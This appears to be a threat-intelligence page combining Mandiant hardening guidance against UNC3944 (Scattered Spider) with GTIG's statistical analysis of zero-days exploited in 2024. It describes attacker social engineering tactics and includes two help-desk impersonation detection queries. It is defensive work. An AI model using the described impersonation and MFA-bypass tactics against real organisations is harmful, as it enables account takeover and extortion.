Google Threat Intelligence Group (GTIG) observed a decline in UNC3944 activity after 2024 law enforcement actions against individuals allegedly associated with the group. Threat actors will often temporarily halt or significantly curtail operations after an arrest, possibly to reduce law enforcement attention, rebuild capabilities and/or partnerships, or shift to new tooling to evade detection. UNC3944’s existing ties to a broader community of threat actors could potentially help them recover from law enforcement actions more quickly.

Recent public reporting has suggested that threat actors used tactics consistent with Scattered Spider to target a UK retail organization and deploy DragonForce ransomware. Subsequent reporting by BBC News indicates that actors associated with DragonForce claimed responsibility for attempted attacks at multiple UK retailers. Notably, the operators of DragonForce ransomware recently claimed control of RansomHub, a ransomware-as-a-service (RaaS) that seemingly ceased operations in March of this year. UNC3944 was a RansomHub affiliate in 2024, after the ALPHV (aka Blackcat) RaaS shut down. While GTIG has not independently confirmed the involvement of UNC3944 or the DragonForce RaaS, over the past few years, retail organizations have been increasingly posted on tracked data leak sites (DLS) used by extortion actors to pressure victims and/or leak stolen victim data. Retail organizations accounted for 11 percent of DLS victims in 2025 thus far, up from about 8.5 percent in 2024 and 6 percent in 2022 and 2023. It is plausible that threat actors including UNC3944 view retail organizations as attractive targets, given that they typically possess large quantities of personally identifiable information (PII) and financial data. Further, these companies may be more likely to pay a ransom demand if a ransomware attack impacts their ability to process financial transactions.

UNC3944 global targeting map

We have observed the following patterns in UNC3944 victimology:

Targeted Sectors: The group targets a wide range of sectors, with a notable focus on Technology, Telecommunications, Financial Services, Business Process Outsourcing (BPO), Gaming, Hospitality, Retail, and Media & Entertainment organizations.
Geographical Focus: Targets are primarily located in English-speaking countries, including the United States, Canada, the United Kingdom, and Australia. More recent campaigns have also included targets in Singapore and India.
Victim Organization Size: UNC3944 often targets large enterprise organizations, likely due to the potential for higher impact and ransom demands. They specifically target organizations with large help desk and outsourced IT functions which are susceptible to their social engineering tactics.

A high-level overview of UNC3944 tactics, techniques and procedures (TTPs) are noted in the following figure.

UNC3944 attack lifecycle

Proactive Hardening Recommendations

The following provides prioritized recommendations to protect against tactics utilized by UNC3944, organized within the pillars of:

Identity
Endpoints
Applications and Resources
Network Infrastructure
Monitoring / Detections

While implementing the full suite of the recommendations in this guide will generally have some impact on IT and normal operations, Mandiant’s extensive experience supporting organizations to defend against, contain, and eradicate UNC3944 has shown that an effective starting point involves prioritizing specific areas. Organizations should begin by focusing on recommendations that:

Achieve complete visibility across all infrastructure, identity, and critical management services.
Ensure the segregation of identities throughout the infrastructure.
Enhance strong authentication criteria.
Enforce rigorous identity controls for password resets and multi-factor authentication (MFA) registration.
Educate and communicate the importance of remaining vigilant against modern-day social engineering attacks / campaigns (see Social Engineering Awareness section later in this post). UNC3944 campaigns not only target end-users, but also IT and administrative personnel within enterprise environments.

These serve as critical foundational measures upon which other recommendations in this guide can be built.

Google SecOps customers benefit from existing protections that actively detect and alert on UNC3944 activity.

Identity Positive Identify Verification

UNC3944 has proven to be very prolific in using social engineering techniques to impersonate users when contacting the help desk. Therefore, further securing the “positive identity” process is critical.

Train help desk personnel to positively identify employees before modifying / providing security information (including initial enrollment). At a minimum, this process should be required for any privileged accounts and should include methods such as:

On-Camera / In-Person verification
ID Verification
Challenge / Response questions

If a suspected compromise is imminent or has occurred, temporarily disable or enhance validation for self-service password reset methods. Any account management activities should require a positive identity verification as the first step. Additionally, employees should be required to authenticate using strong authentication PRIOR to changing authentication methods (e.g., adding a new MFA device). Additionally, implement use of:

Trusted Locations
Notification of authentication / security changes
Out-of-band verification for high-risk changes. For example, require a call-back to a registered number or confirmation via a known corporate email before proceeding with any sensitive request.

Avoid reliance on publicly available personal data for verification (e.g., DOB, last 4 SSN) as UNC3944 often possesses this information. Use internal-only knowledge or real-time presence verification when possible.
Temporarily disable self-service MFA resets during elevated threat periods, and route all such changes through manual help desk workflows with enhanced scrutiny.

Strong Authentication

To prevent against social engineering or other methods used to bypass authentication controls:

Remove SMS, phone call, and/or email as authentication controls.
Utilize an authenticator app that requires phishing resistant MFA (e.g., number matching and/or geo-verification).
If possible, transition to passwordless authentication.
Leverage FIDO2 security keys for authenticating identities that are assigned privileged roles.
Ensure administrative users cannot register or use legacy MFA methods, even if those are permitted for lower-tier users.
Enforce multi-context criteria to enrich the authentication transaction. Examples include not only validating the identity, but also specific device and location attributes as part of the authentication transaction.

For organizations that leverage Google Workspace, these concepts can be enforced by using context-aware access policies.
For organizations that leverage Microsoft Entra ID, these concepts can be enforced by using a Conditional Access Policy.

MFA Registration and Modification

To prevent compromised credentials from being leveraged for modifying and registering an attacker-controlled MFA method:

Review authentication methods available for user registration and disallow any unnecessary or duplicative methods.
Restrict MFA registration and modification actions to only be permissible from trusted IP locations and based upon device compliance. For organizations that leverage Microsoft Entra ID, this can be accomplished using a Conditional Access Policy.
If a suspected compromise has occurred, MFA re-registration may be required. This action should only be permissible from corporate locations and/or trusted IP locations.
Review specific IP locations that can bypass the requirement for MFA. If using Microsoft Entra ID, these can be in Named Locations and the legacy Service Settings.
Investigate and alert when the same MFA method or phone number is registered across multiple user accounts, which may indicate attacker-controlled device registration.

Administrative Roles

To prevent against privilege escalation and further access to an environment:

For privileged access, decouple the organization's identity store (e.g., Active Directory) from infrastructure platforms, services, and cloud admin consoles. Organizations should create local administrator accounts (e.g., local VMware VCenter Admin account). Local administrator accounts should adhere to the following principles:

Created with long and complex passwords
Passwords should not be temporarily stored within the organization’s password management or vault solution
Enforcement of Multi-Factor Authentication (MFA)

Restrict administrative portals to only be accessible from trusted locations and with privileged identities.
Leverage just-in-time controls for leveraging (“checking out”) credentials associated with privileged actions.
Enforce access restrictions and boundaries that follow the principle of least-privilege for accessing and administering cloud resources.

For organizations that leverage Google Cloud, these concepts can be enforced by using IAM deny or principle access boundary policies.
For organizations that leverage Microsoft Entra ID, these concepts can be enforced by using Azure RBAC and Entra ID RBAC controls.

Enforce that privileged accounts are hardened to prevent exposure or usage on non-Tier 0 or non-PAW endpoints.

Playbooks

Modern-day authentication is predicated on more than just a singular password. Therefore, organizations should ensure that processes and associated playbooks include steps to:

Revoke tokens and access keys.
Review MFA device registrations.
Review changes to authentication requirements.
Review newly enrolled devices and endpoints.

Endpoints Device Compliance and Validation

An authentication transaction should not only include strong requirements for identity verification, but also require that the device be authenticated and validated. Organizations should consider the ability to:

Enforce posture checks for devices remotely connecting to an environment (e.g., via a VPN). Example posture checks for devices include:

Validating the installation of a required host-based certificate on each endpoint.
Verifying that the endpoint operates on an approved Operating System (OS) and meets version requirements.

Confirming the organization's Endpoint Detection and Response (EDR) agent is installed and actively running. Enforce EDR installation and monitoring for all managed endpoint devices.

Rogue / Unauthorized Endpoints

To prevent against threat actors leveraging rogue endpoints to access an environment, organizations should:

Monitor for rogue bastion hosts or virtual machines that are either newly created or recently joined to a managed domain.
Harden policies to restrict the ability to join devices to Entra or on-premises Active Directory.
Review authentication logs for devices that contain default Windows host names.

Lateral Movement Hardening

To prevent against lateral movement using compromised credentials, organizations should:

Limit the ability for local accounts to be used for remote (network-based) authentication.
Disable or restrict local administrative and/or hidden shares from being remotely accessible.
Enforce local firewall rules to block inbound SMB, RDP, WinRM, PowerShell, & WMI.

GPOs: User Rights Assignment Lockdown (Active Directory)

For domain-based privileged and service accounts, where possible, organizations should restrict the ability for accounts to be leveraged for remote authentication to endpoints. This can be accomplished using a Group Policy Object (GPO) configuration for the following user rights assignments:

Deny log on locally
Deny log on through Remote Desktop Services
Deny access to this computer from network
Deny log on as a batch
Deny log on as a service

Applications and Resources Virtual Private Network (VPN) Access

Threat actors may attempt to change or disable VPN agents to limit network visibility by security teams. Therefore, organizations should:

Disable the ability for end users to modify VPN agent configurations.
Ensure appropriate logging when configuration changes are made to VPN agents.
For managed devices, consider an “Always-On” VPN configuration to ensure continuous protection.

Privileged Access Management (PAM) Systems

To prevent against threat actors attempting to gain access to privileged access management (PAM) systems, organizations should:

Isolate and enforce network and identity access restrictions for enterprise password managers or privileged access management (PAM) systems. This should also include leveraging dedicated and segmented servers / appliances for PAM systems, which are isolated from enterprise infrastructure and virtualization platforms.
Reduce the scope of accounts that have access to PAM systems, in addition to requiring strong authentication (MFA).
Enforce role-based access controls (RBAC) within PAM systems, restricting the scope of accounts that can be accessed (based upon an assigned role).
Follow the principle of just-in-time (JIT) access for checking-out credentials stored in PAM systems.

Virtualization Infrastructure

To prevent against threat actors attempting to gain access to virtualization infrastructure, organizations should:

Isolate and restrict access to ESXi hosts / vCenter Server Appliances.
Ensure that backups of virtual machines are isolated, secured and immutable if possible.
Unbind the authentication for administrative access to virtualization platforms from the centralized identity provider (IdP). This includes individual ESXi hosts and vCenter Servers.
Proactively rotate local root / administrative passwords for privileged identities associated with virtualization platforms.
If possible use stronger MFA and bind to local SSO for all administrative access to virtualization infrastructure.
Enforce randomized passwords for local root / administrative identities correlating to each virtualized host that is part of an aggregate pool.
Disable / restrict SSH (shell) access to virtualization platforms.
Enable lockdown mode on all ESXi hosts.
Enhance monitoring to identify potential malicious / suspicious authentication attempts and activities associated with virtualization platforms.

Backup Infrastructure

To prevent against threat actors attempting to gain access to backup infrastructure and data, organizations should:

Leverage unique and separate (non-identity provider integrated) credentials for accessing and managing backup infrastructure, in addition to the enforcement of MFA for the accounts.
Ensure that backup servers are isolated from the production environment and reside within a dedicated network. To further protect backups, they should be within an immutable backup solution.
Implement access controls that restrict inbound traffic and protocols for accessing administrative interfaces associated with backup infrastructure.
Periodically validate the protection and integrity of backups by simulating adversarial behaviors (red teaming).

Endpoint Security Management

To prevent against threat actors weaponizing endpoint security and management technologies such as EDR and patch management tools, organizations should:

Segment administrative access to endpoint security tooling platforms.
Reduce the scope of identities that have the ability to create, edit, or delete Group Policy Objects (GPOs) in on-premises Active Directory.
If Intune is leveraged, enforce Intune access policies that require multi-administrator approval (MMA) to approve and enforce changes.
Monitor and review unauthorized access to EDR and patch management technologies.
Monitor script and application deployment on endpoints and systems using EDR and patch management technologies.
Review and monitor “allow-listed” executables, processes, paths, and applications.
Inventory installed applications on endpoints and review for potential unauthorized installations of remote access (RATs) and reconnaissance tools.

Cloud Resources

To prevent against threat actors leveraging access to cloud infrastructure for additional persistence and access, organizations should:

Monitor and review cloud resource configurations to identify and investigate newly created resources, exposed services, or other unauthorized configurations.
Monitor cloud infrastructure for newly created or modified network security group (NSG) rules, firewall rules, or publicly exposed resources that can be remotely accessed.
Monitor for the creation of programmatic keys and credentials (e.g., access keys).

Network Infrastructure Access Restrictions

To proactively identify exposed applications, ingress pathways, and to reduce the risk of unauthorized access, organizations should:

Leverage vulnerability scanning to perform an external unauthenticated scan to identify publicly exposed domains, IPs, and CIDR IP ranges.
Enforce strong authentication (e.g., phishing-resistant MFA) for accessing any applications and services that are publicly accessible.
For sensitive data and applications, enforce connectivity to cloud environments / SaaS applications to only be permissible from specific (trusted) IP ranges.
Block TOR exit node and VPS IP ranges.

Network Segmentation

The terminology of “Trusted Service Infrastructure” (TSI) is typically associated with management interfaces for platforms and technologies that provide core services for an organization. Examples include:

Asset and Patch Management Tools
Network Management Tools and Devices
Virtualization Platforms
Backup Technologies
Security Tooling
Privileged Access Management Systems

To minimize the direct access and exposure of the management plane for TSI, organizations should:

Restrict access to TSI to only originate from internal / hardened network segments or PAWs.
Create detections focused on monitoring network traffic patterns for directly accessing TSI, and alert on anomalies or suspicious traffic.

Egress Restrictions

To restrict the ability for command-and-control and reduce the capabilities for mass data exfiltration, organizations should:

Restrict egress communications from all servers. Organizations should prioritize enforcing egress restrictions from servers associated with TSI, Active Directory domain controllers, and crown jewel application and data servers.
Block outbound traffic to malicious domain names, IP addresses, and domain names/addresses associated with remote access tools (RATs).

Monitoring / Detections Reconnaissance

Upon initial compromise, UNC3944 is known to search for documentation on topics such as: user provisioning, MFA and/or device registration, network diagrams, and shared credentials in documents or spreadsheets.

UNC3944 will also use network reconnaissance tools like ADRecon, ADExplorer, and SharpHound. Therefore, organizations should:

Ensure any sites or portals that include these documents have access restrictions to only required accounts.
Sweep for documents and spreadsheets that may contain shared credentials and remove them.
Implement alerting rules on endpoints with EDR agents for possible execution of known reconnaissance tools.
If utilizing an Identity monitoring solution, ensure detection rules are enabled and alerts are created for any reconnaissance and discovery detections.
Implement an automated mechanism to continuously monitor domain registrations. Identify domains that mimic the organization's naming conventions, for instance: [YourOrganizationName]-helpdesk.com or [YourOrganizationName]-SSO.com.

MFA Registration

To further harden the MFA registration process, organizations should:

Review logs to specifically identify events related to the registration or addition of new MFA devices or methods to include actions similar to:

MFA device registered
Authenticator app added
Phone number added for MFA
The same MFA device / method / phone number being associated with multiple users

Verify the legitimacy of new registrations against expected user behavior and any onboarding or device enrollment records.
Contact users if new registrations are detected to confirm if the activity is intentional.

Collaboration and Communication Platforms

To prevent against social engineering and/or unauthorized access or modifications to communication platforms, organizations should:

Review organizational policies around communication tools such as Microsoft Teams.
Allow only trusted external domains for expected vendors and partners.

If external domains cannot be blocked, create a baseline of trusted domains and alert on new domains that attempt to contact employees.

Provide awareness training to employees and staff to directly contact the organization’s helpdesk if they receive suspicious calls or messages.

The following is a Microsoft Defender advanced hunting query example. The query is written to detect when an external account (attempting to impersonate the help desk) attempts to contact the organization’s users.

Note: The DisplayName field can be modified to include other relevant fields specific to the organization (such as “IT Support” or “ServiceDesk”).

CloudAppEvents | where Application == "Microsoft Teams" | where ActionType == "ChatCreated" | extend HasForeignTenantUsers = parse_json(RawEventData)["ParticipantInfo"]["HasForeignTenantUsers"] | extend DisplayName = parse_json(RawEventData)["Members"][0]["DisplayName"] | where IsExternalUser == 1 or HasForeignTenantUsers == 'true' | where DisplayName contains "help" or AccountDisplayName contains "help" or AccountId contains "help"

The following is a Google SecOps search query example.

Note: The DisplayName field can be modified to include other relevant fields specific to the organization (such as “IT Support” or “ServiceDesk”).

metadata.vendor_name = "Microsoft" metadata.product_name = "Office 365" metadata.product_event_type = "ChatCreated" security_result.detection_fields["ParticipantInfo_HasForeignTenantUsers"] = "true" ( principal.user.userid = /help/ OR principal.user.email_addresses = /help/ OR about.user.user_display_name = /help/ ) Identity Session Risk & Visibility

Detections should include:

Authentication from infrequent locations - including from proxy and VPN service providers.
Attempts made to change authentication methods or criteria.
Monitoring and hunting for authentication anomalies based upon social engineering tactics.

Bypassing Multi-Factor Authentication

UNC3944 has been known to modify requirements for the use of Multi-factor Authentication. Therefore, organizations should:

For Entra ID, monitor for modifications to any Trusted Named Locations that may be used to bypass the requirement for MFA.
For Entra ID, monitor for changes to Conditional Access Policies that enforce MFA, specifically focusing on exclusions of compromised user accounts and/or devices for an associated policy.
Ensure the SOC has visibility into token replay or suspicious device logins, aligning workflows that can trigger step-up (re)authentication when suspicious activity is detected.

Abuse of Domain Federation

For organizations that are using Microsoft Entra ID, monitor for possible abuse of Entra ID Identity Federation:

Check domain names that are registered in the Entra ID tenant, paying particular attention to domains that are marked as Federated.
Review the Federation configuration of these domains to ensure that they are correct.
Monitor for creation of any new domains within the tenant and for changing the authentication method to be Federated.
Abuse of Domain Federation requires the account accomplishing the changes to have administrative permissions in Entra ID. Hardening of all administrative accounts, portals, and programmatic access is imperative.

Social Engineering Awareness

UNC3944 is extremely proficient at using multiple forms of social engineering to convince users into doing something that will allow them to gain access. Organizations should educate users to be aware of and notify internal security teams of attempts that utilize the following tactics:

SMS phishing messages that claim to be from IT requesting users to download and install software on their machine. These may include claims that the user’s machine is out-of-compliance or is failing to report to internal management systems.
SMS messages or emails with links to sites that reference domain names that appear legitimate and reference SSO (single sign-on) and a variation of the company name. Messages may include text informing the user that they need to reset their password and/or MFA.
Phone calls to users from IT with requests to reset a password and/or MFA - or requesting that the user provide a validated one time passcode (OTP) from their device.
SMS messages or emails with requests to be granted access to a particular system, particularly if the organization already has an established method for provisioning access.
MFA fatigue attacks, where attackers may repeatedly send MFA push notifications to a victim’s device until the user unintentionally or out of frustration accepts one. Organizations should train users to reject unexpected MFA prompts and report such activity immediately.
Impersonation via collaboration tools - UNC3944 has used platforms like Microsoft Teams to pose as internal IT support or service desk personnel. Organizations should train users to verify unusual chat messages and avoid sharing credentials or MFA codes over internal collaboration tools like Microsoft Teams. Limiting external domains and monitoring for impersonation attempts (e.g., usernames containing ‘helpdesk’ or ‘support’) is advised.
In rare cases, attackers have used doxxing threats or aggressive language to scare users into compliance. Ensure employees understand this tactic and know that the organization will support them if they report these incidents.

Additional References

Ransomware Protection and Containment Strategies: Practical Guidance for Hardening and Protecting Infrastructure, Identities and Endpoints
UNC3944 Targets SaaS Applications
Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety

Mandiant

Hello 0-Days, My Old Friend: A 2024 Zero-Day Exploitation Analysis

Mandiant Threat Intelligence

3 months 3 weeks ago

Written by: Casey Charrier, James Sadowski, Clement Lecigne, Vlad Stolyarov

Executive Summary

Google Threat Intelligence Group (GTIG) tracked 75 zero-day vulnerabilities exploited in the wild in 2024, a decrease from the number we identified in 2023 (98 vulnerabilities), but still an increase from 2022 (63 vulnerabilities). We divided the reviewed vulnerabilities into two main categories: end-user platforms and products (e.g., mobile devices, operating systems, and browsers) and enterprise-focused technologies, such as security software and appliances.

Vendors continue to drive improvements that make some zero-day exploitation harder, demonstrated by both dwindling numbers across multiple categories and reduced observed attacks against previously popular targets. At the same time, commercial surveillance vendors (CSVs) appear to be increasing their operational security practices, potentially leading to decreased attribution and detection.

We see zero-day exploitation targeting a greater number and wider variety of enterprise-specific technologies, although these technologies still remain a smaller proportion of overall exploitation when compared to end-user technologies. While the historic focus on the exploitation of popular end-user technologies and their users continues, the shift toward increased targeting of enterprise-focused products will require a wider and more diverse set of vendors to increase proactive security measures in order to reduce future zero-day exploitation attempts.

For a deeper look at the trends discussed in this report, along with recommendations for defenders, register for our upcoming zero-day webinar.

Scope

This report describes what Google Threat Intelligence Group (GTIG) knows about zero-day exploitation in 2024. We discuss how targeted vendors and exploited products drive trends that reflect threat actor goals and shifting exploitation approaches, and then closely examine several examples of zero-day exploitation from 2024 that demonstrate how actors use both historic and novel techniques to exploit vulnerabilities in targeted products. The following content leverages original research conducted by GTIG, combined with breach investigation findings and reporting from reliable open sources, though we cannot independently confirm the reports of every source. Research in this space is dynamic and the numbers may adjust due to the ongoing discovery of past incidents through digital forensic investigations. The numbers presented here reflect our best understanding of current data.

GTIG defines a zero-day as a vulnerability that was maliciously exploited in the wild before a patch was made publicly available. GTIG acknowledges that the trends observed and discussed in this report are based on detected and disclosed zero-days. Our analysis represents exploitation tracked by GTIG but may not reflect all zero-day exploitation.

aside_block: <ListValue: [StructValue([('title', 'A 2024 Zero-Day Exploitation Analysis'), ('body', <wagtail.rich_text.RichText object at 0x3ee77c1b7160>), ('btn_text', 'Download now'), ('href', 'https://services.google.com/fh/files/misc/2024-zero-day-exploitation-analysis-en.pdf'), ('image', None)])]>

Key Takeaways

Zero-day exploitation continues to grow gradually. The 75 zero-day vulnerabilities exploited in 2024 follow a pattern that has emerged over the past four years. While individual year counts have fluctuated, the average trendline indicates that the rate of zero-day exploitation continues to grow at a slow but steady pace.
Enterprise-focused technology targeting continues to expand. GTIG continued to observe an increase in adversary exploitation of enterprise-specific technologies throughout 2024. In 2023, 37% of zero-day vulnerabilities targeted enterprise products. This jumped to 44% in 2024, primarily fueled by the increased exploitation of security and networking software and appliances.
Attackers are increasing their focus on security and networking products. Zero-day vulnerabilities in security software and appliances were a high-value target in 2024. We identified 20 security and networking vulnerabilities, which was over 60% of all zero-day exploitation of enterprise technologies. Exploitation of these products, compared to end-user technologies, can more effectively and efficiently lead to extensive system and network compromises, and we anticipate adversaries will continue to increase their focus on these technologies.
Vendors are changing the game. Vendor investments in exploit mitigations are having a clear impact on where threat actors are able to find success. We are seeing notable decreases in zero-day exploitation of some historically popular targets such as browsers and mobile operating systems.
Actors conducting cyber espionage still lead attributed zero-day exploitation. Between government-backed groups and customers of commercial surveillance vendors (CSVs), actors conducting cyber espionage operations accounted for over 50% of the vulnerabilities we could attribute in 2024. People's Republic of China (PRC)-backed groups exploited five zero-days, and customers of CSVs exploited eight, continuing their collective leading role in zero-day exploitation. For the first year ever, we also attributed the exploitation of the same volume of 2024 zero-days (five) to North Korean actors mixing espionage and financially motivated operations as we did to PRC-backed groups.

Looking at the Numbers

GTIG tracked 75 exploited-in-the-wild zero-day vulnerabilities that were disclosed in 2024. This number appears to be consistent with a consolidating upward trend that we have observed over the last four years. After an initial spike in 2021, yearly counts have fluctuated but not returned to the lower numbers we saw in 2021 and prior.

While there are multiple factors involved in discovery of zero-day exploitation, we note that continued improvement and ubiquity of detection capabilities along with more frequent public disclosures have both resulted in larger numbers of detected zero-day exploitation compared to what was observed prior to 2021.

Figure 1: Zero-days by year

Higher than any previous year, 44% (33 vulnerabilities) of tracked 2024 zero-days affected enterprise technologies, continuing the growth and trends we observed last year. The remaining 42 zero-day vulnerabilities targeted end-user technologies.

Enterprise Exploitation Expands in 2024 as Browser and Mobile Exploitation Drops End-User Platforms and Products

In 2024, 56% (42) of the tracked zero-days targeted end-user platforms and products, which we define as devices and software that individuals use in their day-to-day life, although we acknowledge that enterprises also often use these. All of the vulnerabilities in this category were used to exploit browsers, mobile devices, and desktop operating systems.

Zero-day exploitation of browsers and mobile devices fell drastically, decreasing by about a third for browsers and by about half for mobile devices compared to what we observed last year (17 to 11 for browsers, and 17 to 9 for mobile).
Chrome was the primary focus of browser zero-day exploitation in 2024, likely reflecting the browser's popularity among billions of users.
Exploit chains made up of multiple zero-day vulnerabilities continue to be almost exclusively (~90%) used to target mobile devices.
Third-party components continue to be exploited in Android devices, a trend we discussed in last year’s analysis. In 2023, five of the seven zero-days exploited in Android devices were flaws in third-party components. In 2024, three of the seven zero-days exploited in Android were found in third-party components. Third-party components are likely perceived as lucrative targets for exploit development since they can enable attackers to compromise many different makes and models of devices across the Android ecosystem.
2024 saw an increase in the total number of zero-day vulnerabilities affecting desktop operating systems (OSs) (22 in 2024 vs. 17 in 2023), indicating that OSs continue to be a strikingly large target. The proportional increase was even greater, with OS vulnerabilities making up just 17% of total zero-day exploitation in 2023, compared to nearly 30% in 2024.
Microsoft Windows exploitation continued to increase, climbing from 13 zero-days in 2022, to 16 in 2023, to 22 in 2024. As long as Windows remains a popular choice both in homes and professional settings, we expect that it will remain a popular target for both zero-day and n-day (i.e. a vulnerability exploited after its patch has been released) exploitation by threat actors.

Figure 2: Zero-days in end-user products in 2023 and 2024

Enterprise Technologies

In 2024, GTIG identified the exploitation of 33 zero-days in enterprise software and appliances. We consider enterprise products to include those mainly utilized by businesses or in a business environment. While the absolute number is slightly lower than what we saw in 2023 (36 vulnerabilities), the proportion of enterprise-focused vulnerabilities has risen from 37% in 2023 to 44% in 2024. Twenty of the 33 enterprise-focused zero-days targeted security and network products, a slight increase from the 18 observed in this category for 2023, but a 9% bump when compared proportionally to total zero-days for the year.

The variety of targeted enterprise products continues to expand across security and networking products, with notable targets in 2024 including Ivanti Cloud Services Appliance, Palo Alto Networks PAN-OS, Cisco Adaptive Security Appliance, and Ivanti Connect Secure VPN. Security and network tools and devices are designed to connect widespread systems and devices with high permissions required to manage the products and their services, making them highly valuable targets for threat actors seeking efficient access into enterprise networks. Endpoint detection and response (EDR) tools are not usually equipped to work on these products, limiting available capabilities to monitor them. Additionally, exploit chains are not generally required to exploit these systems, giving extensive power to individual vulnerabilities that can single-handedly achieve remote code execution or privilege escalation.

Over the last several years, we have also tracked a general increase of enterprise vendors targeted. In 2024, we identified 18 unique enterprise vendors targeted by zero-days. While this number is slightly less than the 22 observed in 2023, it remains higher than all prior years' counts. It is also a stark increase in the proportion of enterprise vendors for the year, given that the 18 unique enterprise vendors were out of 20 total vendors for 2024. 2024's count is still a significant proportional increase compared to the 22 unique enterprise vendors targeted out of a total of 23 in 2023.

Figure 3: Number of unique enterprise vendors targeted

The proportion of zero-days exploited in enterprise devices in 2024 reinforces a trend that suggests that attackers are intentionally targeting products that can provide expansive access and fewer opportunities for detection.

Exploitation by Vendor

The vendors affected by multiple 2024 zero-day vulnerabilities generally fell into two categories: big tech (Microsoft, Google, and Apple) and vendors who supply security and network-focused products. As expected, big tech took the top two spots, with Microsoft at 26 and Google at 11. Apple slid to the fourth most frequently exploited vendor this year, with detected exploitation of only five zero-days. Ivanti was third most frequently targeted with seven zero-days, reflecting increased threat actor focus on networking and security products. Ivanti's placement in the top three reflects a new and crucial change, where a security vendor was targeted more frequently than a popular end-user technology-focused vendor. We discuss in a following section how PRC-backed exploitation has focused heavily on security and network technologies, one of the contributing factors to the rise in Ivanti targeting.

We note that exploitation is not necessarily reflective of a vendor's security posture or software development processes, as targeted vendors and products depend on threat actor objectives and capabilities.

Types of Exploited Vulnerabilities

Threat actors continued to utilize zero-day vulnerabilities primarily for the purposes of gaining remote code execution and elevating privileges. In 2024, these consequences accounted for over half (42) of total tracked zero-day exploitation.

Three vulnerability types were most frequently exploited. Use-after-free vulnerabilities have maintained their prevalence over many years, with eight in 2024, and are found in a variety of targets including hardware, low-level software, operating systems, and browsers. Command injection (also at eight, including OS command injection) and cross-site scripting (XSS) (six) vulnerabilities were also frequently exploited in 2024. Both code injection and command injection vulnerabilities were observed almost entirely targeting networking and security software and appliances, displaying the intent to use these vulnerabilities in order to gain control over larger systems and networks. The XSS vulnerabilities were used to target a variety of products, including mail servers, enterprise software, browsers, and an OS.

All three of these vulnerability types stem from software development errors and require meeting higher programming standards in order to prevent them from occurring. Safe and preventative coding practices, including, but not limited to code reviews, updating legacy codebases, and utilizing up-to-date libraries, can appear to hinder production timelines. However, patches prove the potential for these security exposures to be prevented in the first place with proper intention and effort and ultimately reduce the overall effort to properly maintain a product or codebase.

Who Is Driving Exploitation

Figure 4: 2024 attributed zero-day exploitation

Due to the stealthy access zero-day vulnerabilities can provide into victim systems and networks, they continue to be a highly sought after capability for threat actors. GTIG tracked a variety of threat actors exploiting zero-days in a variety of products in 2024, which is consistent with our previous observations that zero-day exploitation has diversified in both platforms targeted and actors exploiting them. We attributed the exploitation of 34 zero-day vulnerabilities in 2024, just under half of the total 75 we identified in 2024. While the proportion of exploitation that we could attribute to a threat actor dipped slightly from our analysis of zero-days in 2023, it is still significantly higher than the ~30% we attributed in 2022. While this reinforces our previous observation that platforms' investment in exploit mitigations are making zero-days harder to exploit, the security community is also slowly improving our ability to identify that activity and attribute it to threat actors.

Consistent with trends observed in previous years, we attributed the highest volume of zero-day exploitation to traditional espionage actors, nearly 53% (18 vulnerabilities) of total attributed exploitation. Of these 18, we attributed the exploitation of 10 zero-days to likely nation-state-sponsored threat groups and eight to CSVs.

CSVs Continue to Increase Access to Zero-Day Exploitation

While we still expect government-backed actors to continue their historic role as major players in zero-day exploitation, CSVs now contribute a significant volume of zero-day exploitation. Although the total count and proportion of zero-days attributed to CSVs declined from 2023 to 2024, likely in part due to their increased emphasis on operational security practices, the 2024 count is still substantially higher than the count from 2022 and years prior. Their role further demonstrates the expansion of the landscape and the increased access to zero-day exploitation that these vendors now provide other actors.

In 2024, we observed multiple exploitation chains using zero-days developed by forensic vendors that required physical access to a device (CVE-2024-53104, CVE-2024-32896, CVE-2024-29745, CVE-2024-29748). These bugs allow attackers to unlock the targeted mobile device with custom malicious USB devices. For instance, GTIG and Amnesty International's Security Lab discovered and reported on CVE-2024-53104 in exploit chains developed by forensic company Cellebrite and used against the Android phone of a Serbian student and activist by Serbian security services. GTIG worked with Android to patch these vulnerabilities in the February 2025 Android security bulletin.

PRC-Backed Exploitation Remains Persistent

PRC threat groups remained the most consistent government-backed espionage developer and user of zero-days in 2024. We attributed nearly 30% (five vulnerabilities) of traditional espionage zero-day exploitation to PRC groups, including the exploitation of zero-day vulnerabilities in Ivanti appliances by UNC5221 (CVE-2023-46805 and CVE-2024-21887), which GTIG reported on extensively. During this campaign, UNC5221 chained multiple zero-day vulnerabilities together, highlighting these actors' willingness to expend resources to achieve their apparent objectives. The exploitation of five vulnerabilities that we attributed to PRC groups exclusively focused on security and networking technologies. This continues a trend that we have observed from PRC groups for several years across all their operations, not just in zero-day exploitation.

North Korean Actors Mix Financially Motivated and Espionage Zero-Day Exploitation

For the first time since we began tracking zero-day exploitation in 2012, in 2024, North Korean state actors tied for the highest total number of attributed zero-days exploited (five vulnerabilities) with PRC-backed groups. North Korean groups are notorious for their overlaps in targeting scope; tactics, techniques, and procedures (TTPs); and tooling that demonstrate how various intrusion sets support the operations of other activity clusters and mix traditional espionage operations with attempts to fund the regime. This focus on zero-day exploitation in 2024 marks a significant increase in these actors' focus on this capability. North Korean threat actors exploited two zero-day vulnerabilities in Chrome as well as three vulnerabilities in Windows products.

In October 2024, it was publicly reported that APT37 exploited a zero-day vulnerability in Microsoft products. The threat actors reportedly compromised an advertiser to serve malicious advertisements to South Korean users that would trigger zero-click execution of CVE-2024-38178 to deliver malware. Although we have not yet corroborated the group's exploitation of CVE-2024-38178 as reported, we have observed APT37 previously exploit Internet Explorer zero-days to enable malware distribution.
North Korean threat actors also reportedly exploited a zero-day vulnerability in the Windows AppLocker driver (CVE-2024-21338) in order to gain kernel-level access and turn off security tools. This technique abuses legitimate and trusted but vulnerable already-installed drivers to bypass kernel-level protections and provides threat actors an effective means to bypass and mitigate EDR systems.

Non-State Exploitation

In 2024, we linked almost 15% (five vulnerabilities) of attributed zero-days to non-state financially motivated groups, including a suspected FIN11 cluster's exploitation of a zero-day vulnerability in multiple Cleo managed file transfer products (CVE-2024-55956) to conduct data theft extortion. This marks the third year of the last four (2021, 2023, and 2024) in which FIN11 or an associated cluster has exploited a zero-day vulnerability in its operations, almost exclusively in file transfer products. Despite the otherwise varied cast of financially motivated threat actors exploiting zero-days, FIN11 has consistently dedicated the resources and demonstrated the expertise to identify, or acquire, and exploit these vulnerabilities from multiple different vendors.

